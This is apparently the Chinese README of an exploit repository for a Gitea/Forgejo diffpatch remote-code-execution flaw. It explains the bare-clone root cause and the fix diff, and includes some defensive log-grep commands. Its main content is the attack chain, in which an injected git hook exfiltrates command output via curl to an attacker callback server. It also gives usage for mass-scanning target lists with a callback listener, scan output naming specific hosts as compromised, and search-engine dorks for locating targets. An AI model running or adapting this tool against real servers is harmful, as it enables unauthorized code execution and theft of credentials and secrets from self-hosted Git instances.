CVE-2026-60004 是 Gitea 和 Forgejo 自托管 Git 平台中的一个严重级别(CVSS 9.8)预认证远程代码执行漏洞,影响 1.17 至 1.27.0 版本。
该漏洞利用了 POST /api/v1/repos/{owner}/{repo}/diffpatch API 端点中的裸克隆设计缺陷。Gitea 在裸临时克隆中应用用户提供的补丁——此时仓库根目录就是 $GIT_DIR 本身。通过两次提交相同的恶意补丁,攻击者可触发 add/add 冲突,从而让 Git 的三方合并回退(-3,Git 2.32+)将可执行的 post-index-change 钩子直接写入 $GIT_DIR/hooks/。Git 在索引更新期间自动执行该钩子,从而以 Gitea 服务账户身份实现任意命令执行。
需要仓库写入权限——由于 Gitea 默认开放注册,无需邮箱验证、管理员审批或仓库创建限制,因此极易获得。
| 版本 | 状态 |
|---|---|
| < 1.17 | 不受影响(diffpatch 路由尚未引入) |
| 1.17 — 1.27.0 | 存在漏洞 |
| 1.27.1+ | 已修复 |
发现者: Shai Rod (NightRang3r),2026 年 7 月 28 日 项目: Gitea / Forgejo(自托管 Git 服务) 组件: diffpatch API 端点、裸临时克隆
该漏洞源于 services/repository/files/patch.go 中的单个参数:
// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
return nil, err
}
在裸克隆中没有工作树——仓库根目录就是 $GIT_DIR。因此,文件路径为 hooks/post-index-change 的恶意补丁会直接落入 Git 真实的钩子目录,而不是沙箱化的工作树中。
git apply 调用进一步加剧了这一问题:
// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
"--index", "--recount", "--cached",
"--ignore-whitespace", "--whitespace=fix", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
cmdApply.AddArguments("-3") // three-way merge fallback
}
$GIT_DIR,因此路径 hooks/post-index-change 会映射到真实的钩子目录。--cached 并非万无一失——尽管使用了 --cached 标志,Git 2.32+ 中的 -3 三方回退在 add/add 冲突期间仍会将合并结果写入工作树。post-index-change——更新索引后,只要该钩子存在且可执行,Git 就会无条件运行它,无需任何配置。git apply 持有索引锁,钩子内执行 git update-index 会死锁。请使用 HTTP 回调(curl)或反弹 shell 来外传输出。1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
└─ Bare temp clone created: .Clone(ctx, oldBranch, true)
└─ git apply --index --cached -3 processes the patch
└─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
└─ Three-way merge (-3) resolves the conflict
└─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
└─ Git fires post-index-change hook automatically
└─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
└─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn
# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log
# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
裸克隆与非裸克隆之间的差异——一个布尔参数——决定了补丁路径是无害的工作树条目,还是直接落入 Git 内部目录的可执行钩子。修复在 diff 中恰好更改了一个字符(true → false),这就是该提交被标记为 MISC 类别下的 "refactor: git patch apply" 而非 SECURITY 类别的原因。本应被沙箱限制在索引(--cached)中的操作被 Git 自身的三方合并机制悄然破坏,且没有任何额外的防护措施阻止钩子文件在裸克隆的 $GIT_DIR 中被创建。
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com
# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20
# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced
# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen
-t, --target Single target URL
-f, --file Target list, one per line
-c, --command Shell command to execute (default: id)
--callback HTTP callback URL for output exfiltration
--listen [PORT] Auto-start built-in callback listener
-o, --output Save RCE-confirmed URLs to file
--threads Concurrent workers (default: 25)
--timeout HTTP request timeout in seconds
--no-cleanup Leave repository and user on target
--forced Attempt exploit regardless of detected version
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8
Host : gitea.example.com
Version : 1.22.0
Vuln (< 1.27.1) : YES
RCE : CONFIRMED
Detection : timing Δ 8.0s (hook sleep 4s)
User : poc_a1b2c3
Time : 9.5s
$ python cve_2026_60004.py -f targets.txt --callback http://your-server:8888 --threads 20
Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8
Targets: 259 | Threads: 20
[RCE] gitea.idetama.id Δ8.7s (hook sleep 4s)
[RCE] gitea.roan.id.au Δ8.7s (hook sleep 4s)
[DET] git.ofon.id | ⠼ [████░░░░░░░░░░░] 86/259 (33%) Det:76 RCE:2
───────────────────────────────────────────────────────
SCAN SUMMARY
───────────────────────────────────────────────────────
Total : 259
RCE Confirmed : 12
Hook Failed : 5
Patched : 25
Errors : 151
Register fail : 85
Login fail : 42
Repo fail : 24
Not Gitea : 66
───────────────────────────────────────────────────────
Detection method: timing
Done | 77s
callback-data/
├── index.txt
├── gitea.idetama.id/
│ ├── output_2026-08-03_120000.txt
│ └── latest.txt
├── gitea.roan.id.au/
│ └── ...
FOFA: title="Gitea" || body="gitea" || body="forgejo"
Shodan: http.title:"Gitea" http.component:"Gitea"
Censys: services.http.response.html_title:"Gitea"
成功利用可导致以 Gitea 服务账户身份远程执行代码:
app.ini 配置——数据库凭据、SMTP 密钥、OAuth 应用密钥、LFS/JWT 密钥无需实例上的任何账户——注册默认开放。
Gitea 在 1.27.1 版本(提交 470d34b)中通过以下方式修复了该漏洞:
$GIT_DIR/hooks/--index 操作在某些条件下可能与工作树交互TestGitPatchPrepare),通过检查是否存在 .git 子目录来断言临时克隆为非裸克隆- if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+ // here must NOT use bare repo, because the following git commands
+ // might operate working tree ("--index") directly
+ if err := t.Clone(ctx, opts.OldBranch, false); err != nil {
该修复以
"refactor: git patch apply"的形式出现在 1.27.1 版本说明的 MISC(杂项)类别下,而非 SECURITY(安全)类别下,这使得只扫描与安全相关变更日志条目的管理员很容易错过这一关键更新。CherryPick中相同的裸克隆模式也已一并修复。
仅供教育和授权测试目的使用。
未经所有者明确许可,请勿针对任何系统使用。作者对滥用行为不承担任何责任。
| 资源 | 链接 |
|---|---|
| Gitea 修复提交 |
由 Shai Rod (NightRang3r) 发现。与 Gitea 或 Forgejo 无关联。
| 文件 | 行号 | 用途 |
|---|
services/repository/files/patch.go | 195 | t.Clone(ctx, opts.OldBranch, true)——创建裸克隆 |
services/repository/files/patch.go | 206-209 | 带 --index --cached -3 标志的 git apply |
services/repository/files/patch.go | 215-223 | WriteTree() + CommitTree() + Push()——持久化攻击者状态 |
services/repository/files/cherry_pick.go | ~170 | CherryPick 中存在相同的裸克隆模式(也已修复) |
| 470d34b |
| 研究人员 | NightRang3r |
| CWE-94 | 代码注入 |
| Git 钩子 | post-index-change |